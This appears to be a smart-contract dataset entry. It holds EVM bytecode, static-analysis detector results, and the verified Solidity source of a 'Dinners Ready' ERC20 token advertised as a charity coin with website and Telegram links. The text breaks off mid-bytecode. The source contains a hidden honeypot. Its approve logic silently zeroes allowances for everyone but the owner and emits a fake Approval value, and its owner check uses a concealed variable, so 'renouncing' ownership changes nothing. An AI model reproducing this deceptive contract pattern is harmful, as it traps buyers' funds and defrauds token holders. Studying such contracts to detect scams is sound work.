ffffffffffffffffffffffffff167ffb1cca2745e309250590c0f70d53bdbce480caeb94e9f16af0bf5b20ae9e16a7611032856032612cd2565b60405190815260200160405180910390a260019150505b9392505050565b60075473ffffffffffffffffffffffffffffffffffffffff1633146110d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f74206f776e6572000000000000000000000000000000000000000000000060448201526064015b60405180910390fd5b600b55565b336000908152601c602090815260408083206002845290915290205461115d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f6e6f2063757272656e74207374616b696e6720706f736974696f6e000000000060448201526064016110cd565b6111676002612f1b565b6000611174336002611ed7565b11156111af57600a54611188336002611ed7565b611192919061348d565b336000908152601b60209081526040808320600284529091529020555b600854336000818152601c6020908152604080832060028452909152908190205490517fa9059cbb0000000000000000000000000000000000000000000000000000000081526004810192909252602482015273ffffffffffffffffffffffffffffffffffffffff9091169063a9059cbb90604401600060405180830381600087803b15801561123e57600080fd5b505af1158015611252573d6000803e3d6000fd5b5050336000908152601c6020908152604080832060028452825282205460149091527fa1930aa930426c54c34daad2b9ada7c5d0ef0c96078a3c5bb79f6fa6602c4a7a805491945092506112a79084906134ca565b9091555050336000908152601c6020908152604080832060028452909152812055565b60075473ffffffffffffffffffffffffffffffffffffffff16331461134b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f74206f776e6572000000000000000000000000000000000000000000000060448201526064016110cd565b600e55565b33600090815260056020908152604080832073ffffffffffffffffffffffffffffffffffffffff8616845290915281205461138c90839061343a565b33600081815260056020908152604080832073ffffffffffffffffffffffffffffffffffffffff8916808552908352928190208590555193845290927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910161099f565b60075473ffffffffffffffffffffffffffffffffffffffff163314611471576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f74206f776e6572000000000000000000000000000000000000000000000060448201526064016110cd565b600880547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831617905560005b60038110156115025760085473ffffffffffffffffffffffffffffffffffffffff166000908152601c60209081526040808320848452909152812055806114fa81613564565b9150506114b4565b5050565b600a5473ffffffffffffffffffffffffffffffffffffffff821660009081526004602052604081205490916109ab91613452565b60075473ffffffffffffffffffffffffffffffffffffffff1633146115bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f74206f776e6572000000000000000000000000000000000000000000000060448201526064016110cd565b600680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b600380546108b690613516565b33600090815260056020908152604080832073ffffffffffffffffffffffffffffffffffffffff8616845290915281205461138c9083906134ca565b60075473ffffffffffffffffffffffffffffffffffffffff1633146116b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f74206f776e6572000000000000000000000000000000000000000000000060448201526064016110cd565b600d55565b336000908152601c60209081526040808320600284529091529020541561173e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f7374616b696e6720706f736974696f6e20616c7265616479206578697374730060448201526064016110cd565b6008546040517f23b872dd0000000000000000000000000000000000000000000000000000000081523360048201523060248201526044810183905273ffffffffffffffffffffffffffffffffffffffff909116906323b872dd90606401600060405180830381600087803b1580156117b657600080fd5b505af11580156117ca573d6000803e3d6000fd5b50506002600052505060126020527f8e1fee8c88a9e04123b21e90cae2727a7715bf522a1e46eb5934ccd05203a6b25461182c5760026000526012602052427f8e1fee8c88a9e04123b21e90cae2727a7715bf522a1e46eb5934ccd05203a6b2555b6118366002612f1b565b6000611843336002611ed7565b111561187e57600a54611857336002611ed7565b611861919061348d565b336000908152601b60209081526040808320600284529091529020555b7fa74ba3945261e09fde15ba3db55005b205e61eeb4ad811ac0faa2b315bffeead54336000818152601960209081526040808320600280855290835281842095909555600c54848452601a8352818420868552835281842055928252601c815282822093825292909252812080548392906118fa90849061343a565b90915550506002600090815260146020527fa1930aa930426c54c34daad2b9ada7c5d0ef0c96078a3c5bb79f6fa6602c4a7a805483929061193c90849061343a565b909155505050565b60075473ffffffffffffffffffffffffffffffffffffffff1633146119c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f74206f776e6572000000000000000000000000000000000000000000000060448201526064016110cd565b600780547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b600a54336000908152600460205260408120549091611a2a91613452565b821115611a3657600080fd5b611a403383612c17565b91506000600a5483611a52919061348d565b33600090815260046020526040812080549293508392909190611a769084906134ca565b909155505060075473ffffffffffffffffffffffffffffffffffffffff16331480611aa3575060065460ff165b15611b395773ffffffffffffffffffffffffffffffffffffffff841660009081526004602052604081208054839290611add90849061343a565b909155505060405183815273ffffffffffffffffffffffffffffffffffffffff85169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360019150506109ab565b611b4481600a612cd2565b611b4e90826134ca565b73ffffffffffffffffffffffffffffffffffffffff851660009081526004602052604081208054909190611b8390849061343a565b90915550611b949050816028612cd2565b611b9f82601e612cd2565b611baa836014612cd2565b611bb4919061343a565b611bbe919061343a565b3060009081526004602052604081208054909190611bdd90849061343a565b90915550611bee905081603c612cd2565b600654610100900473ffffffffffffffffffffffffffffffffffffffff1660009081526004602052604081208054909190611c2a90849061343a565b90915550600090505b6003811015611c6157611c4f81610d5884610d4883600a61348d565b80611c5981613564565b915050611c33565b50611c70610d92826032612cd2565b60075473ffffffffffffffffffffffffffffffffffffffff163314801590611cb55750600654610100900473ffffffffffffffffffffffffffffffffffffffff163314155b8015611cdc575060075473ffffffffffffffffffffffffffffffffffffffff858116911614155b8015611d08575060065473ffffffffffffffffffffffffffffffffffffffff8581166101009092041614155b15611d6b5760085473ffffffffffffffffffffffffffffffffffffffff163314801590611d50575060085473ffffffffffffffffffffffffffffffffffffffff858116911614155b15611d6057611d60338585612e1b565b611d6b338585612eb6565b73ffffffffffffffffffffffffffffffffffffffff8416337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611daf86600a612cd2565b611db990876134ca565b60405190815260200160405180910390a330337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611df8866028612cd2565b611e0387601e612cd2565b611e0e886014612cd2565b611e18919061343a565b611e22919061343a565b60405190815260200160405180910390a3600654610100900473ffffffffffffffffffffffffffffffffffffffff16337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e7e86603c612cd2565b60405190815260200160405180910390a3337ffb1cca2745e309250590c0f70d53bdbce480caeb94e9f16af0bf5b20ae9e16a7611ebc856032612cd2565b60405190815260200160405180910390a25060019392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152601a60209081526040808320848452909152812054611f14575060006109ab565b600c546000838152600f602090815260408083205460149092529091205415801590611f565750611f448461210c565b60008581526015602052604090205414155b1561200b57600084815260156020526040812054611f738661210c565b611f7d91906134ca565b90505b600081118015611fb65750600085815260146020526040902054633b9aca0090611faa858461348d565b611fb49190613452565b105b15611fda57611fc660028461348d565b9250611fd360028361348d565b9150611f80565b600085815260146020526040902054611ff3848361348d565b611ffd9190613452565b612007908361343a565b9150505b73ffffffffffffffffffffffffffffffffffffffff85166000818152601a60209081526040808320888452825280832054938352601982528083208884529091528120549091849161205e90839061348d565b6120689190613452565b61207290846134ca565b73ffffffffffffffffffffffffffffffffffffffff88166000908152601c602090815260408083208a84529091529020546120ad919061348d565b6120b79190613452565b73ffffffffffffffffffffffffffffffffffffffff87166000908152601b602090815260408083208984529091529020546120f2919061343a565b9050600a54816121029190613452565b9695505050505050565b60008181526012602052604081205461212757506000919050565b6000828152601760209081526040808320546013835281842054601290935292205461215390426134ca565b61215d919061343a565b61216791906134ca565b6000838152601360209081526040808320546016835281842054601190935292205461219391906134ca565b61219d919061348d565b6121a79190613452565b6000838152601160205260409020546109ab91906134ca565b60075473ffffffffffffffffffffffffffffffffffffffff163314612241576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f74206f776e6572000000000000000000000000000000000000000000000060448201526064016110cd565b600090815260136020526040902055565b60005b600381101561150257600061226a8383611ed7565b111561227a5761227a8282612636565b8061228481613564565b915050612255565b805160005b825181101561247f57601860008483815181106122b0576122b06135cc565b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff1682528101919091526040016000205460ff16156122fb57816122f3816134e1565b92505061246d565b600a54600d5461230b919061348d565b60046000858481518110612321576123216135cc565b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612372919061343a565b92505081905550600160186000858481518110612391576123916135cc565b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508281815181106123fc576123fc6135cc565b602002602001015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d5460405161246491815260200190565b60405180910390a35b8061247781613564565b915050612291565b5080600a54600d54612491919061348d565b61249b919061348d565b33600090815260046020526040812080549091906124ba9084906134ca565b9091555050600160005260126020527f71a67924699a20698523213e55fe499d539379d7769cd5567e2c45d583f815a35461251d5760016000526012602052427f71a67924699a20698523213e55fe499d539379d7769cd5567e2c45d583f815a3555b6125276001612f1b565b6000612534336001611ed7565b111561256f57600a54612548336001611ed7565b612552919061348d565b336000908152601b60209081526040808320600184529091529020555b7f169f97de0d9a84d840042b17d3c6b9638b3d6fd9024c9eb0c7a306a17b49f88f54336000818152601960209081526040808320600180855290835281842095909555600c54848452601a8352818420868552835281842055928252601c815282822093825292909252812080548392906125eb90849061343a565b90915550506001600090815260146020527fb6c61a840592cc84133e4b25bd509abf4659307c57b160799b38490a5aa48f2c805483929061262d90849061343a565b90915550505050565b61263f81612f1b565b73ffffffffffffffffffffffffffffffffffffffff82166000908152601a60209081526040808320848452909152902054612678575050565b600c5473ffffffffffffffffffffffffffffffffffffffff83166000818152601a6020908152604080832086845282528083205493835260198252808320868452909152812054909291906126ce90839061348d565b6126d89190613452565b6000848152600f60205260409020546126f191906134ca565b73ffffffffffffffffffffffffffffffffffffffff85166000908152601c6020908152604080832087845290915290205461272c919061348d565b6127369190613452565b73ffffffffffffffffffffffffffffffffffffffff84166000908152601b60209081526040808320868452909152902054612771919061343a565b73ffffffffffffffffffffffffffffffffffffffff84166000818152601b602090815260408083208784528252808320839055600f82528083205484845260198352818420888552835281842055600c54938352601a82528083208784529091528120919091559091506127e683600261343a565b6127f190600a61348d565b905061280282610d5383600161343a565b61280c90836134ca565b73ffffffffffffffffffffffffffffffffffffffff85166000908152600460205260408120805490919061284190849061343a565b90915550612856905082610d5383600561343a565b600654610100900473ffffffffffffffffffffffffffffffffffffffff166000908152600460205260408120805490919061289290849061343a565b909155506128a7905082610d5383600361343a565b6128b683610d5384600261343a565b6128c090846134ca565b6128ca91906134ca565b30600090815260046020526040812080549091906128e99084906134ca565b90915550600090505b60028110156129675761295561290982600261348d565b851415612917576001612922565b61292282600261348d565b61293c858461293287600261343a565b610d53919061343a565b600087815260116020526040902054610a42919061343a565b8061295f81613564565b9150506128f2565b5061297a610d9283610d5384600461343a565b600a5473ffffffffffffffffffffffffffffffffffffffff85169030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906129c886610d5387600161343a565b6129d290876134ca565b6129dc9190613452565b60405190815260200160405180910390a3600654600a5461010090910473ffffffffffffffffffffffffffffffffffffffff169030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90612a4386610d5387600561343a565b612a4d9190613452565b60405190815260200160405180910390a3600a5430907ffb1cca2745e309250590c0f70d53bdbce480caeb94e9f16af0bf5b20ae9e16a790612a9485610d5386600461343a565b612a9e9190613452565b60405190815260200160405180910390a250505050565b60075473ffffffffffffffffffffffffffffffffffffffff163314612b36576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f74206f776e6572000000000000000000000000000000000000000000000060448201526064016110cd565b60009182526010602052604090912055565b600080600080612b59856000611ed7565b612b64866001611ed7565b612b6f876002611ed7565b612b7a886002611ed7565b612b85896001611ed7565b612b908a6000611ed7565b612b9a919061343a565b612ba4919061343a565b93509350935093509193509193565b60008281526012602052604090205415612c0557612bd08261210c565b600083815260166020908152604080832093909355601290522054612bf590426134ca565b6000838152601760205260409020555b60009182526011602052604090912055565b600b54600a5473ffffffffffffffffffffffffffffffffffffffff84166000908152600460205260408120549092918491612c529190613452565b612c5c91906134ca565b108015612c84575060085473ffffffffffffffffffffffffffffffffffffffff848116911614155b15612ccc57600b54600a5473ffffffffffffffffffffffffffffffffffffffff8516600090815260046020526040902054612cbf9190613452565b612cc991906134ca565b91505b50919050565b6000601081612ce284600a61348d565b612ced90600161343a565b8152602001908152602001600020546010600084600a612d0d919061348d565b81526020019081526020016000205484612d27919061348d565b6110499190613452565b60085473ffffffffffffffffffffffffffffffffffffffff16600090815260046020526040812054600a54600154612d69919061348d565b612d7391906134ca565b90506000612d8183836134ca565b90508181600a54612d92919061348d565b612d9c9190613452565b600a81905560011115612daf576001600a555b60085473ffffffffffffffffffffffffffffffffffffffff166000908152600460205260409020548290612de490839061348d565b612dee9190613452565b60085473ffffffffffffffffffffffffffffffffffffffff16600090815260046020526040902055505050565b73ffffffffffffffffffffffffffffffffffffffff821660009081526018602052604090205460ff16158015612e535750600d548110155b15610a4757612e6383600161307f565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260186020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055505050565b600e548110610a475760085473ffffffffffffffffffffffffffffffffffffffff84811691161415612eed57612eed82600061307f565b60085473ffffffffffffffffffffffffffffffffffffffff83811691161415610a4757610a4783600061307f565b60008181526014602052604090205415801590612f4e5750612f3c8161210c565b60008281526015602052604090205414155b156109c257600081815260156020526040812054612f6b8361210c565b612f7591906134ca565b90505b600081118015612fb25750600082815260146020526040902054600c54633b9aca009190612fa6908461348d565b612fb09190613452565b105b15613019576002600c6000828254612fca919061348d565b90915550600090505b6003811015613013576000818152600f60205260408120805460029290612ffb90849061348d565b9091555081905061300b81613564565b915050612fd3565b50612f78565b600082815260146020526040902054600c54613035908361348d565b61303f9190613452565b6000838152600f60205260408120805490919061305d90849061343a565b9091555061306c90508261210c565b6000838152601560205260409020555050565b6000818152601260205260409020546130a45760008181526012602052604090204290555b6130ad81612f1b565b60006130b98383611ed7565b111561310857600a546130cc8383611ed7565b6130d6919061348d565b73ffffffffffffffffffffffffffffffffffffffff83166000908152601b602090815260408083208584529091529020555b6000818152600f602090815260408083205473ffffffffffffffffffffffffffffffffffffffff861680855260198452828520868652845282852091909155600c54818552601a84528285208686528452828520558352601c8252808320848452909152812080546001929061317f90849061343a565b9091555050600081815260146020526040812080546001929061262d90849061343a565b803573ffffffffffffffffffffffffffffffffffffffff811681146131c757600080fd5b919050565b6000602082840312156131de57600080fd5b611049826131a3565b600080604083850312156131fa57600080fd5b613203836131a3565b9150613211602084016131a3565b90509250929050565b60008060006060848603121561322f57600080fd5b613238846131a3565b9250613246602085016131a3565b9150604084013590509250925092565b6000806040838503121561326957600080fd5b613272836131a3565b946020939093013593505050565b6000602080838503121561329357600080fd5b823567ffffffffffffffff808211156132ab57600080fd5b818501915085601f8301126132bf57600080fd5b8135818111156132d1576132d16135fb565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f83011681018181108582111715613314576133146135fb565b604052828152858101935084860182860187018a101561333357600080fd5b600095505b8386101561335d57613349816131a3565b855260019590950194938601938601613338565b5098975050505050505050565b60006020828403121561337c57600080fd5b8135801515811461104957600080fd5b60006020828403121561339e57600080fd5b5035919050565b600080604083850312156133b857600080fd5b50508035926020909101359150565b600060208083528351808285015260005b818110156133f4578581018301518582016040015282016133d8565b81811115613406576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b6000821982111561344d5761344d61359d565b500190565b600082613488577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134c5576134c561359d565b500290565b6000828210156134dc576134dc61359d565b500390565b6000816134f0576134f061359d565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190565b600181811c9082168061352a57607f821691505b60208210811415612ccc577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156135965761359661359d565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fdfea26469706673582212200d0cbf830798016c036ee1f45ca233ccefc97da50eeaefcdc6b76cf6ef064fd064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
1,396
0x2c0d8ed595fce665812008143f95d1cca925d838
/** *Submitted for verification at Etherscan.io on 2021-11-22 */ /** Dinner's Ready is reigniting the charity coin trend 🚀 First ever charity NFTs destined to go viral 👀 Real-world charity partners fighting global hunger 💛 Huge influencer support and experienced team ✅ $DINNER ERC20 LAUNCH: ⏰ Monday Nov 22nd, 2021 Website: https://DinnersReady.io Telegram: https://t.me/DinnersReadyETH Twitter: https://twitter.com/DinnersReadyETH */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract DINNER is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'Dinners Ready'; string private _symbol = 'DINNER '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573fffffffffffffffffff